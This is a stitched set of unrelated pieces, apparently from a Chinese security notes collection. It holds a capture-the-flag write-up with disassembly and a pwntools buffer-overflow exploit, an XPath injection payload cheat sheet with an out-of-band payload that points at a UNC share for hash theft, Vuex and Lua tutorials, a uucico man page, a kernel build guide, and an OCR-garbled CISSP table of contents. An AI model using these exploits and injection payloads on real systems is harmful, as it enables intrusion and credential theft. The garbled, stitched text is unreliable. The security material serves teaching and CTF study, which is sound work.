[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000005c0]> afl
0x00000000 48 1236 -> 1242 sym.imp.__cxa_finalize
0x000004d4 3 35 sym._init
0x00000510 1 6 sym.imp.strcmp
0x00000520 1 6 sym.imp.gets
0x00000530 1 6 sym.imp.fgets
0x00000540 1 6 sym.imp._IO_getc
0x00000550 1 6 sym.imp.puts
0x00000560 1 6 sym.imp.exit
0x00000570 1 6 sym.imp.__libc_start_main
0x00000580 1 6 sym.imp.setvbuf
0x00000590 1 6 sym.imp.fopen
0x000005a0 1 6 sym.imp.putchar
0x000005b0 1 6 fcn.000005b0
0x000005b8 1 6 fcn.000005b8
0x000005c0 1 49 entry0
0x000005f2 1 4 fcn.000005f2
0x00000600 1 4 sym.__x86.get_pc_thunk.bx
0x00000610 4 58 -> 53 sym.deregister_tm_clones
0x00000650 4 71 sym.register_tm_clones
0x000006a0 5 71 sym.__do_global_dtors_aux
0x000006f0 1 9 entry1.init
0x000006f9 1 4 sym.__x86.get_pc_thunk.dx
0x000006fd 4 124 sym.print_flag
0x00000779 8 362 sym.main
0x000008f0 4 93 sym.__libc_csu_init
0x00000950 1 2 sym.__libc_csu_fini
0x00000954 1 20 sym._fini
[0x000005c0]> s sym.main
```
Here's an overview of the main function:
```
.----------------------------------------------------------------------------------------------------------------------------.
| [0x779] |
| ;-- main: |
| 0x0000078b call sym.__x86.get_pc_thunk.bx |
| 0x0000079e size_t size |
| 0x000007a0 int mode |
| 0x000007a2 char *buf |
| 0x000007a4 FILE*stream |
| 0x000007a5 call sym.imp.setvbuf |
| 0x000007be str.Stop__Who_would_cross_the_Bridge_of_Death_must_answer_me_these_questions_three__ere_the_other_side_he_see. |
| 0x000007c4 const char *s |
| 0x000007c5 call sym.imp.puts |
| 0x000007d0 str.What..._is_your_name |
| 0x000007d6 const char *s |
| 0x000007d7 call sym.imp.puts |
| 0x000007ea FILE *stream |
| 0x000007eb int size |
| 0x000007f0 char *s |
| 0x000007f1 call sym.imp.fgets |
| 0x000007fc str.Sir_Lancelot_of_Camelot |
| 0x00000802 const char *s2 |
| 0x00000806 const char *s1 |
| 0x00000807 call sym.imp.strcmp |
`----------------------------------------------------------------------------------------------------------------------------'
f t
| |
| '----------------------------------------------------------.
'------------------------. |
| |
.-------------------------------. .---------------------------------.
| 0x813 [gi] | | 0x82f [gf] |
| 0x0000081c const char *s | | 0x00000838 const char *s |
| 0x0000081d call sym.imp.puts | | 0x00000839 call sym.imp.puts |
| 0x00000828 int status | | 0x0000084c FILE *stream |
| 0x0000082a call sym.imp.exit | | 0x0000084d int size |
`-------------------------------' | 0x00000852 char *s |
| 0x00000853 call sym.imp.fgets |
| 0x00000864 const char *s2 |
| 0x00000868 const char *s1 |
| 0x00000869 call sym.imp.strcmp |
`---------------------------------'
f t
| |
| '------------.
.--------------------' |
| |
.-------------------------------. .-------------------------------.
| 0x875 [gk] | | 0x891 [gj] |
| 0x0000087e const char *s | | 0x0000089a const char *s |
| 0x0000087f call sym.imp.puts | | 0x0000089b call sym.imp.puts |
| 0x0000088a int status | | 0x000008a9 char *s |
| 0x0000088c call sym.imp.exit | | 0x000008aa call sym.imp.gets |
`-------------------------------' `-------------------------------'
f t
| |
| '------------.
.----------------------' |
| |
.--------------------------------. .-------------------------------.
| 0x8bb [gp] | | 0x8c2 [gm] |
| 0x000008bb call sym.print_flag | | 0x000008cb const char *s |
`--------------------------------' | 0x000008cc call sym.imp.puts |
v `-------------------------------'
| v
| |
'-------------------------. |
| .---------'
| |
.--------------------.
| 0x8d4 [go] |
`--------------------'
```
We can see that we want to take the "true" branch from `[gf]` to `[gj]` and then the false branch to `[gp]`.
It looks like `[gj]` contains the interesting part, let's zoom in:
```
.------------------------------------------.
| 0x891 [gj] |
| ; CODE XREF from sym.main (0x873) |
| sub esp, 0xc |
| lea eax, [ebx - 0x1534] |
| ; const char *s |
| push eax |
| ; int puts(const char *s) |
| call sym.imp.puts;[gc] |
| add esp, 0x10 |
| sub esp, 0xc |
| lea eax, [s1] |
| ; char *s |
| push eax |
| ; char *gets(char *s) |
| call sym.imp.gets;[gl] |
| add esp, 0x10 |
| cmp dword [local_10h], 0xdea110c8 |
| jne 0x8c2;[gm] |
`------------------------------------------'
```
We read a value from the user into `s1` using an unbounded `gets`, and then compare `local_10h` to `0xdea110c8`.
Let's take a look at the function stack:
```
; var char *s1 @ ebp-0x3b
; var unsigned int local_10h @ ebp-0x10
; var int local_ch @ ebp-0xc
; var int local_8h @ ebp-0x8
; arg int arg_4h @ esp+0x4
```
So `s1` is right above `local_10h`, and can overflow it. The length of `s1` is `0x3b-0x10`, we just need to fill that with a filler and then write the value we want: `0xdea110c8`.
The following script exploits this buffer overflow:
```python
from pwn import *
MAGIC_VALUE = 0xDEA110C8
if args.REMOTE:
p = remote("pwn.tamuctf.com", 4321)
else:
p = process("./pwn1")
p.sendlineafter("What... is your name?", "Sir Lancelot of Camelot")
p.sendlineafter("What... is your quest?", "To seek the Holy Grail.")
offset = 0x3b - 0x10
payload = fit({offset: p32(MAGIC_VALUE)}, filler = 'A')
p.sendlineafter("What... is my secret?", payload)
print p.recvall()
```
Output:
```console
root@kali:/media/sf_CTFs/tamu/Pwn1# python exploit.py REMOTE
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
[+] Receiving all data: Done (50B)
[*] Closed connection to pwn.tamuctf.com port 4321
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}
```
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sec-knowleage
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# Vuex
Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式，类似 React 中的 Redux
### 装包
```
npm install vuex --save
```
### 注入 store
导入 store
```javascript
import store from './store'
```
将 store 注入到组件中
```javascript
new Vue({
el: '#app',
store,
router,
template: '<App/>',
components: { App }
})
```
### 创建 store
我们这里根据官网给出的例子，创建 store
数据结构为：
其中`index.js` 在 store 中创建 store 并将数据组合的作用，类似 Redux 中的 combineReducers
```javascript
import Vue from 'vue'
import Vuex from 'vuex'
//引用 vuex
import comment from './modules/comment'
// 导入 comment 数据
Vue.use(Vuex)
// 安装使用 vuex 插件
export default new Vuex.Store({
// 创建 store 并导出
modules: {
comment
}
})
```
Vuex 通过 Vue.use(Vuex) 提供了一种机制将状态从根组件『注入』到每一个子组件中 store 选项，在组件需要 store 时，用 （`this.$store.state`）调用
```javascript
const state = {
all: [
{ text: 'haha' },
{ text: 'gege' }
]
}
export default {
state
}
```
在 modules 文件夹中写入数据并导出
**参考**：<https://vuex.vuejs.org/zh-cn/state.html>
### 读取数据
Vuex 的状态存储是响应式的，从 store 实例中读取状态最简单的方法就是在 **计算属性中返回某个状态**：
```js
<script>
export default {
name: 'comment-box',
// 在计算属性 computed 中
computed: {
//comments 方法
comments: function () {
//通过返回值拿到 store 中的数据
return this.$store.state.comment.all
}
}
}
</script>
```
通过 comments 方法 返回的`this.$store.state.comment.all`拿到 store 中的值
将数据渲染到页面上
```html
<template>
<li v-for="comment in reversedMessage">
{{ comment.text }}
</li>
</template>
```
### 对 store 中的数据进行修改
> 更改 Vuex 的 store 中的状态的唯一方法是提交 mutation
Vuex 中的 mutations 非常类似于事件：每个 mutation 都有一个字符串的 事件类型 (type) 和 一个 回调函数 (handler)。这个回调函数就是我们实际进行状态更改的地方，并且它会接受 state 作为第一个参数
```javascript
const mutations = {
[函数名] (state) {
// 变更状态
state.count++
}
}
})
```
### 提交载荷（Payload）
> Payload 就是接受的数据
你可以向 store.commit 传入额外的参数(数据)，即 mutation 的 载荷（payload）：
```javascript
const mutations = {
[increment] (state, n) {
//n 为组件传过来的数据
state.count += n
}
}
```
### 使用常量替代 Mutation 事件类型
在 store 文件夹下创建 `mutation-types.js`文件，将 Mutation 事件类型写在里面
```javascript
export const SOME_MUTATION = 'SOME_MUTATION'
//声明 一个常量作为函数名
```
### Mutaion 函数
> store 类似于 React 中的 action
```js
//导入 事件类型
import * as types from '../mutation-types'
//数据 state
const state = {
all: [
{ text: 'fooo' },
{ text: 'barr' }
]
}
//创建一个 mutations 将接受的数据放入 state 中
const mutations = {
[types.ADD_COMMENT] (state, { text }) {
state.all.push({ text })
}
}
export default {
state,
mutations
}
//导出 state mutations
```
### 在组件中提交 Mutations
你可以在组件中使用 this.$store.commit('xxx') 提交 mutation，
或者使用 mapMutations 辅助函数将组件中的 methods 映射为 store.commit 调用（需要在根节点注入 store）
```js
<script>
import * as types from '../store/mutation-types'
//导入 mutation 函数类型
export default {
name: 'comment-box',
computed: {
reversedMessage: function () {
return this.comments.slice().reverse()
},
comments: function () {
return this.$store.state.comment.all
}
},
methods: {
addComment: function () {
const input = document.getElementById('commentForm')
this.$store.commit(types.ADD_COMMENT, { text: input.value })
input.value = ''
}
}
}
</script>
```
```html
<template>
<div class="comment-box">
<div class="form">
<input type="text" id="commentForm" />
<button type="submit" v-on:click="addComment">发布</button>
</div>
<ul>
<li v-for="comment in reversedMessage">
{{ comment.text }}
</li>
</ul>
</div>
</template>
```
### actions
> action 类似于 React 中的 Thunk
Action 类似于 mutation，不同在于：
- Action 提交的是 mutation，而不是直接变更状态
- Action 可以包含任意异步操作
### 小例子
```js
const store = new Vuex.Store({
state: {
count: 0
},
mutations: {
increment (state) {
state.count++
}
},
//发出 actions
actions: {
increment (context) {
context.commit('increment')
//通过 commit 触发 mutations
}
}
})
```
Action 函数接受一个与 store 实例具有相同方法和属性的 context 对象，因此你可以调用 `context.commit` 提交一个 mutation，
或者通过 `context.state` 和 `context.getters` 来获取 state 和 getters。当我们在之后介绍到 Modules 时，你就知道 context 对象为什么不是 store 实例本身了。
实践中，我们会经常用到 ES2015 的 参数解构 来简化代码（特别是我们需要调用 commit 很多次的时候）：
```js
actions: {
increment ({ commit }) {
commit('increment')
}
}
```
**参考**：<https://vuex.vuejs.org/zh-cn/mutations.html>
### 分发 Action
> Action 通过 store.dispatch 方法触发：
```js
store.dispatch('increment')
```
乍一眼看上去感觉多此一举，我们直接分发 mutation 岂不更方便？
实际上并非如此，还记得 mutation 必须同步执行这个限制么？
Action 就不受约束！我们可以在 action 内部执行异步操作：
```js
actions: {
incrementAsync ({ commit }) {
setTimeout(() => {
commit('increment')
}, 1000)
}
}
```
Actions 支持同样的 **载荷方式** 和对象方式进行分发：
```js
// 以载荷形式分发
store.dispatch('incrementAsync', {
amount: 10
})
// 以对象形式分发
store.dispatch({
type: 'incrementAsync',
amount: 10
})
```
### 购物车示例
涉及到调用异步 API 和 分发多重 mutations：
```js
actions: {
checkout ({ commit, state }, products) {
// 把当前购物车的物品备份起来
const savedCartItems = [...state.cart.added]
// 发出结账请求，然后乐观地清空购物车
commit(types.CHECKOUT_REQUEST)
// 购物 API 接受一个成功回调和一个失败回调
shop.buyProducts(
products,
// 成功操作
() => commit(types.CHECKOUT_SUCCESS),
// 失败操作
() => commit(types.CHECKOUT_FAILURE, savedCartItems)
)
}
}
```
注意我们正在进行一系列的异步操作，并且通过提交 mutation 来记录 action 产生的副作用（即状态变更）
### 在组件中分发 Action
你在组件中使用 this.$store.dispatch('xxx') 分发 action，或者使用 mapActions 辅助函数将组件的 methods 映射为 store.dispatch 调用（需要先在根节点注入 store）：
```js
import { mapActions } from 'vuex'
export default {
// ...
methods: {
...mapActions([
'increment' // 映射 this.increment() 为 this.$store.dispatch('increment')
]),
...mapActions({
add: 'increment' // 映射 this.add() 为 this.$store.dispatch('increment')
})
}
}
```
### 组合 Actions
Action 通常是异步的，那么如何知道 action 什么时候结束呢？更重要的是，我们如何才能组合多个 action，以处理更加复杂的异步流程？
首先，你需要明白 store.dispatch 可以处理被触发的action的回调函数返回的Promise，并且store.dispatch仍旧返回Promise：
```js
actions: {
actionA ({ commit }) {
return new Promise((resolve, reject) => {
setTimeout(() => {
commit('someMutation')
resolve()
}, 1000)
})
}
}
```
现在你可以：
```js
store.dispatch('actionA').then(() => {
// ...
})
在另外一个 action 中也可以：
actions: {
// ...
actionB ({ dispatch, commit }) {
return dispatch('actionA').then(() => {
commit('someOtherMutation')
})
}
}
```
最后，如果我们利用 async / await 这个 JavaScript 即将到来的新特性，我们可以像这样组合 action：
```
// 假设 getData() 和 getOtherData() 返回的是 Promise
actions: {
async actionA ({ commit }) {
commit('gotData', await getData())
},
async actionB ({ dispatch, commit }) {
await dispatch('actionA') // 等待 actionA 完成
commit('gotOtherData', await getOtherData())
}
}
```
一个 store.dispatch 在不同模块中可以触发多个 action 函数。在这种情况下，只有当所有触发函数完成后，返回的 Promise 才会执行。
### 参考
- Vuex文档：[点击进入](https://vuex.vuejs.org/zh-cn/)
- Vuex官网例子：[点击进入](https://github.com/vuejs/vuex/tree/dev/examples)
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uucico
===
UUCP文件传输服务程序
## 补充说明
**uucico命令** 命令UUCP文件传输服务程序。 uucico是用来处理uucp或uux送到队列的文件传输工具。uucico有两种工作模式：主动模式和附属模式。当在主动模式下时，uucico会调用远端主机；在附属模式下时，uucico则接受远端主机的调用。
### 语法
```shell
uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s<主机>][-S<主机>][-u<用户>][-x<类型>][--help]
```
### 选项
```shell
-c或--quiet 当不执行任何工作时，不要更改记录文件的内容及更新目前的状态。
-C或--ifwork 当有工作要执行时，才调用-s或-S参数所指定主机。
-D或--nodetach 不要与控制终端机离线。
-e或--loop 在附属模式下执行，并且出现要求登入的提示画面。
-f或--force 当执行错误时，不等待任何时间即重新调用主机。
-i<类型>或--stdin<类型> 当使用到标准输入设备时，指定连接端口的类型。
-I<文件>--config<文件> 指定使用的配置文件。
-l或--prompt 出现要求登入的提示画面。
-p<连接端口号码>或-port<连接端口号码> 指定连接端口号码。
-q或--quiet 不要启动uuxqt服务程序。
-r0或--slave 以附属模式启动。
-s<主机>或--system<主机> 调用指定的主机。
-u<用户>或--login<用户> 指定登入的用户帐号，而不允许输入任意的登入帐号。
-v或--version 显示版本信息，并且结束程序。
-w或--wait 在主动模式下，当执行调用动作时，则出现要求登入的提示画面。
-x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式。
-z或--try-next 当执行不成功时，尝试下一个选择而不结束程序。
--help 显示帮助，并且结束程序。
```
### 实例
使用主动模式启动uucico服务。在命令提示符下直接输入如下命令：
```shell
uucico-r1
```
提示：该命令一般没有输出。
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# Lua
---
**官网**
- http://www.lua.org/
**教程**
- https://www.runoob.com/lua/lua-tutorial.html
---
## 环境安装
**Linux 系统上安装**
```
curl -R -O http://www.lua.org/ftp/lua-5.4.3.tar.gz
tar zxf lua-5.4.3.tar.gz
cd lua-5.4.3
make linux test
make install
```
其他版本如果报错需要装
```bash
# centos
yum install readline-devel
# debian
apt-get install libreadline-dev
```
或
```
f8x -lua
```
**测试**
```
vim test.lua
print("Hello World!")
```
```bash
lua test.lua
```
**Window 系统上安装 Lua**
- https://github.com/rjpcomputing/luaforwindows
- http://luadist.org/
---
## 使用
lua 和 python 一样，都提供了交互式编程模式，和脚本式编程模式
直接输入 lua 即可进入交互式编程模式
将 Lua 程序代码保存到一个以 lua 结尾的文件，并执行，该模式称为脚本式编程
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# XPATH Injection
> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
## Summary
* [Exploitation](#exploitation)
* [Blind exploitation](#blind-exploitation)
* [Out Of Band Exploitation](#out-of-band-exploitation)
* [Tools](#tools)
* [References](#references)
## Exploitation
Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`
```sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```
## Blind Exploitation
1. Size of a string
```sql
and string-length(account)=SIZE_INT
```
2. Extract a character
```sql
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```
## Out Of Band Exploitation
```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```
## Tools
- [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents
- [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool
- [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text
- [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
- [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool
## References
* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)
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# 内核下载与编译
首先，我们需要下载并编译内核。
## 下载内核
我们可以从 `https://www.kernel.org` 下载想要的内核。根据 https://www.kernel.org/category/releases.html，我们可以知道内核主要有以下几种类别：
- Prepatch
- Mainline
- Stable
- Longterm
这里我们选择长期支持版。
下面为了方便介绍，我们使用 `5.4` 版本，内核开发者会一直支持这个版本到 2025 年 12 月份。进一步地，我们选择 5.4 的最新版本 5.4.98（2021 年 2 月记录）。为了加速，我们可以选择就近的源来下载内核，这里使用清华源：https://mirrors.tuna.tsinghua.edu.cn/kernel/。
```bash
❯ curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.4.98.tar.xz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 104M 100 104M 0 0 35.5M 0 0:00:02 0:00:02 --:--:-- 35.5M
❯ unxz linux-5.4.98.tar.xz
```
## 验证内核签名
为了防止内核被恶意修改，在发布内核时，发布者会对内核进行签名。这里我们也对内核的签名进行校验。
```bash
❯ curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.4.98.tar.sign
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 989 100 989 0 0 5525 0 --:--:-- --:--:-- --:--:-- 5525
❯ gpg --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Can't check signature: No public key
```
可以看到，我们遇到了 `Can't check signature: No public key` 的问题。这主要是因为我们没有相应的公钥来验证签名。此时我们可以下载相应内核版本发布者的公钥。
```bash
❯ gpg --locate-keys torvalds@kernel.org gregkh@kernel.org
gpg: WARNING: unacceptable HTTP redirect from server was cleaned up
gpg: key 38DBBDC86092693E: public key "Greg Kroah-Hartman <gregkh@kernel.org>" imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: WARNING: unacceptable HTTP redirect from server was cleaned up
gpg: key 79BE3E4300411886: public key "Linus Torvalds <torvalds@kernel.org>" imported
gpg: Total number processed: 1
gpg: imported: 1
pub rsa4096 2011-09-23 [SC]
647F28654894E3BD457199BE38DBBDC86092693E
uid [ unknown] Greg Kroah-Hartman <gregkh@kernel.org>
sub rsa4096 2011-09-23 [E]
pub rsa2048 2011-09-20 [SC]
ABAF11C65A2970B130ABE3C479BE3E4300411886
uid [ unknown] Linus Torvalds <torvalds@kernel.org>
sub rsa2048 2011-09-20 [E]
```
为了方便，我们也导入了 torvalds 的公钥。下面我们就可以验证内核的签名了
```bash
❯ gpg --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Good signature from "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E
```
这里报了一个 WARNING。为了消除这个问题，我们可以选择使用 TOFU 信任对应的密钥。
```bash
❯ gpg --tofu-policy good 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Setting TOFU trust policy for new binding <key: 647F28654894E3BD457199BE38DBBDC86092693E, user id: Greg Kroah-Hartman <gregkh@kernel.org>> to good.
❯ gpg --trust-model tofu --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Good signature from "Greg Kroah-Hartman <gregkh@kernel.org>" [full]
gpg: gregkh@kernel.org: Verified 1 signatures in the past 0 seconds. Encrypted
0 messages.
```
在验证成功后，我们就可以解压缩压缩包得到内核源码。
```shell
tar -xf linux-5.4.98.tar
```
## 编译选项配置
在正式编译之前，我们可以配置内核的编译选项。
make menuconfig
!!! tip
可以通过看看这个 menu 顶部的介绍，了解这个 menu 如何使用。
### 调试相关选项
这里我们主要关注调试方面的选项，依次进入到 Kernel hacking -> Compile-time checks and compiler options，然后勾选如下选项`Compile the kernel with debug info`，以便于调试。不过似乎现在是默认开启的。
如果要使用 kgdb 调试内核，则需要选中 `KGDB: kernel debugger`，并选中 KGDB 下的所有选项。
## 编译内核
编译内核镜像，可以根据机器的核数来选择具体使用多少核来编译内核。
```bash
make -j3 bzImage
```
最后，出现如下信息时
```
Setup is 18012 bytes (padded to 18432 bytes).
System is 9189 kB
CRC df09b895
Kernel: arch/x86/boot/bzImage is ready (#1)
```
意味着编译成功。在编译成功后，我们一般主要关注于如下的文件
- bzImage：`arch/x86/boot/bzImage`
- vmlinux：源码所在的根目录下。
此外，这里给出常见内核文件的介绍。
- **bzImage**：目前主流的 kernel 镜像格式，即 big zImage（即 bz 不是指 bzip2），适用于较大的（大于 512 KB） Kernel。这个镜像会被加载到内存的高地址，高于 1MB。bzImage 是用 gzip 压缩的，文件的开头部分有 gzip 解压缩的代码，所以我们不能用 gunzip 来解压缩。
- **zImage**：比较老的 kernel 镜像格式，适用于较小的（不大于512KB） Kernel。启动时，这个镜像会被加载到内存的低地址，即内存的前 640 KB。zImage 也不能用 gunzip 来解压缩。
- **vmlinuz**：vmlinuz 不仅包含了压缩后的 vmlinux，还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言，该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
- **vmlinux**：静态链接的 Linux kernel，以可执行文件的形式存在，尚未经过压缩。该文件往往是在生成 vmlinuz 的过程中产生的。该文件适合于调试。但是该文件不是 bootable 的。
- **vmlinux.bin**：也是静态链接的 Linux kernel，只是以一个可启动的 (bootable) 二进制文件存在。所有的符号信息和重定位信息都被删除了。生成命令为：`objcopy -O binary vmlinux vmlinux.bin`。
- **uImage**：uImage 是 U-boot 专用的镜像文件，它是在 zImage 之前加上了一个长度为 0x40 的 tag 而构成的。这个 tag 说明了这个镜像文件的类型、加载位置、生成时间、大小等信息。
## 参考
- https://en.wikipedia.org/wiki/Linux_kernel_version_history
- https://www.kernel.org/category/releases.html
- https://www.kernel.org/signature.html
- http://www.linfo.org/vmlinuz.html
- https://www.nullbyte.cat/post/linux-kernel-exploit-development-environment/#environment-setup
- https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml
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sec-knowleage
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目
第 1 章 通过原则和策略的安全治理……….
1
川 理解和应用机密性、 完整性
和可用性的概念.........…................2
1.1.1 机密性…................................2
1.1.2 完整性……………….......….. …3
1.1.3 可用性.........................….......4
1.1.4 其他安 全概念…......................5
1.1.5 保护机制...........................…..8
1 .
2 应用安全治理原则…..........…........9
1.2.1 安 全功能战略、 目标、
任务和愿景的一致… ……........9
1.2.2 组织流程………….........………11
1.2.3 安 全角色和责任…….......……15
1.2.4 控制架构........……................16
1.2.5 应尽关注和应尽职责…….......16
1.3 开发和文档化安全策略、
标准、 指导方针和程序……........17
1.3.1 安 全策略…….................……17
1.3.2 安 全标准、 基准及指南..........18
1.3.3 安 全程序...........................…18
1.4 理解和应用威胁建模..................19
1.4.1 识别威胁……...................…'.20
1.4.2 确定和用图表示潜在攻击.......22
1.4.3 执行降低分析.........…………..23
1.4.4 优先级和响应…...................23
1.
5 把安全风险考虑到收购
策略和实践中………................ …24
1.
6 本章小结........ ………...............…25
1.
7 考试要点…….........，.....……·……'.26
'
录
1.8 书面实验室 …….......……..............28
1.
9 复习题 ……….......................……"28
第 2 章 人员安全和风险管理概念.........…31
2.1 促进人员安全策略……................32
2.1.1 筛选候选人.................….......34
2.1.2 雇佣协议和策略……..............34
2.1.3 M雇员 工的流程…·……….......35
2.1.4 供应商、 顾问和承包商控制 "'37
2.1.5 合规 性…·…..........................38
2.1.6 隐私….................................38
2.
2 安全治理……............................…39
2.3 理解和应用风险管理概念 … ……39
2.3.1 风险术语.........…………………40
2.3.2 识别威胁和脆弱性……...... ….42
2.3.3 风险评估/分析 .......….......…43
2.3.4 风险分配/接受…… …………..48
2.3.5 对策的选择和评估.................49
2.3.6 实施…………........................50
2.3.7 控制的类型…........….............51
2.3.8 监控和测量…........................52
2.3.9 资产评估…..............…..........52
2.3.10 持续改进…...................….53
2.3.11 风险框架........….................54
2.4 建立和管理信息安全教育、
培训和意识............................. …55
2.
5 管理安全功能........…..............…"56
2.6 本章小结........…..........................57
2.
7 考试要点………….........……….......57
2.8 书面实验室 ...............…...............59
XXVI
CISSP 官方学习指南(第 7 版)
2.
9 复习题…................................…..59
第3章 业务连续性计划… ..................….63
3.1 业务连续性计划..........................63
3.
2 项目范围与计划…………………….64
3.2.1 业务组织分析…….................65
3.2.2 BCP团队的选择...................65
3.2.3 资源要求………………….........66
3.2.4 法律和法规要求 …………… 67
3.3 业务影响评估.......………………….68
3.3.1 确定优先级.......................…69
3.3.2 风险识别.......…................….69
3.3.3 可能性评估.............………….70
3.3.4 影响评{古…......................….71
3.3.5 资源优先级划分....................72
3.4 连续性计划 .........….....................72
3.4.1 策略开发.........………… ........73
3.4.2 预备和处理.........………........73
3.4.3 计划批准和实现…·……….......74
3.4.4 计划实现……........................75
3.4.5 培训和教育……·………..........75
3.
5 BCP文档化..........................… ...75
3.5.1 连续性计划的目标……………..75
3.5.2 重要性声明..........................76
3.5.3 优先级声明…….........………..76
3.5.4 组织职责的声明….................76
3.5.5 紧急程度和时限的声明..........76
3.5.6 风险评估…………..................76
3.5.7 可接受的风险/风险缓解.........77
3.5.8 重大记录计划…………...........77
3.5.9 响应紧急事件的指导原则.. ….77
3.5.10 维护……........………...........78
3.5.11 测试和演习.......……........…78
3.6 本章小结………………................…78
3.
7 考试要点…· …....................………79
3.8 书面实验室…… .........….......……79
3.9 复习题……........................………79
•
第4章 法律、 法规和合规性………......….83
4.
1 法律的分类....................... …… ..84
4.1.1 刑法……………...............…...84
4.1.2 民法………............….......…..85
4.1.3 行政法………… .........….......85
4.
2 法律...............…........…................86
4.2.1 计算机 犯罪…….....................86
4.2.2 知识产权……………….......…..89
4.2.3 进口/出 口.......….......….........94
4.2.4 隐私……………·……........…..95
4.3 合规性………………… …………… 99
4.4 合同与采购 ……..…….......….......100
4.
5 本章小结.................………………101
4.
6 考试要点.........….......................101
4.
7 书面实验室 ........……….........…..102
4.8 复习题…......................…........…102
第5章 保护资产的安全……………………107
5.
1 对资产进行分类和标记....... …'107
5.1.1 定义敏感数据................…..108
5.1.2 定义分类.........…................109
5.1.3 定义数据安 全要求... …… ….111
5.1.4 理解数据状态…...............…112
5.1.5 管理敏感数据 ….........…......112
5.1.6 应用密码学保护机密文件 ....1 17
5.
2 定义数据角色………………… '119
5.2.1 数据所有者…….......…………119
5.2.2 系统所有者.........…………….120
5.2.3 业务/任务所有者 ................. 120
5.2.4 数据处理者…………………….121
5.2.5 管理员 ….........…................121
5.2.6 保管者 … .........………........121
5.2.7 用户…….......…………………122
5.3 保护隐私… …….......……........ 122
5.3.1 使用安 全基线 ................….. 122
5.3.2 审视和定制..............……… 123
5.3.3 选择标准… ………· … .........123
5.4 本章小结….............，.........………124
5.
5 考试要点…………….................…124
5.
6 书面实验室............................... 125
5.
7 复习题….........…........................ 125
第6章 密码学与对称加密算法….......…129
6.1 密码学历史上的里程碑….........129
6.1.1 凯撒密码……..........….........129
6.1.2 美国内战…......................…130
6.1.3 U1tra 与Enigma………….......130
6.
2 密码学基础………· ….................131
6.2.1 密码学的目标.....................131
6.2.2 密码学概念…….......…........132
6.2.3 密码学的数学原理…… … …133
6.2.4 密码 ….........………….........138
6.3 现代密码学...............................143
6.3.1 密钥..............….................143
6.3.2 对称密钥算法…… ……….144
6.3.3 非对称密钥算法…...............145
6.3.4 散列第法......……….........….147
6.4 对称密码……..………........….......147
6.4.1 数据加密标准 … … ………..148
6.4.2 三重数据加密算法(3DES)…..149
6.4.3 国际数据加密算法(IDEA)…..150
6.4.4 Blowfish"………….........……150
6.4.5 Skipja ck…………………… …. 151
6.4.6 高级加密标准(AES)…….......151
6.4.7 对称密钥管理….................. 152
6.4.8 密码生命周期…·…………….. 154
6.
5 本章小结…............................… 154
6.6 考试要点……….......................... 154
6.
7 书面实验室…….......……..........155
6.8 复习题……................….......…...156
第7章 PKI和密码学应用………........159
7.1 非 对称密码学……................…..159
7.1.1 公钥与私钥…….......…........ 160
目 录
7.1.2 RSA………….......…........... 160
7.1.3 El Gama l
.........………………. 161
7.1.4 椭圆曲线密码系统(ECC) …... 162
7.
2 散列函数…...........…….......... 162
7.2.1 SHA….........……·川……'163
7.2.2 MD2……… …… … .........…164
7.2.3 MD4........…….................…164
7.2.4 MD5…….................…….....165
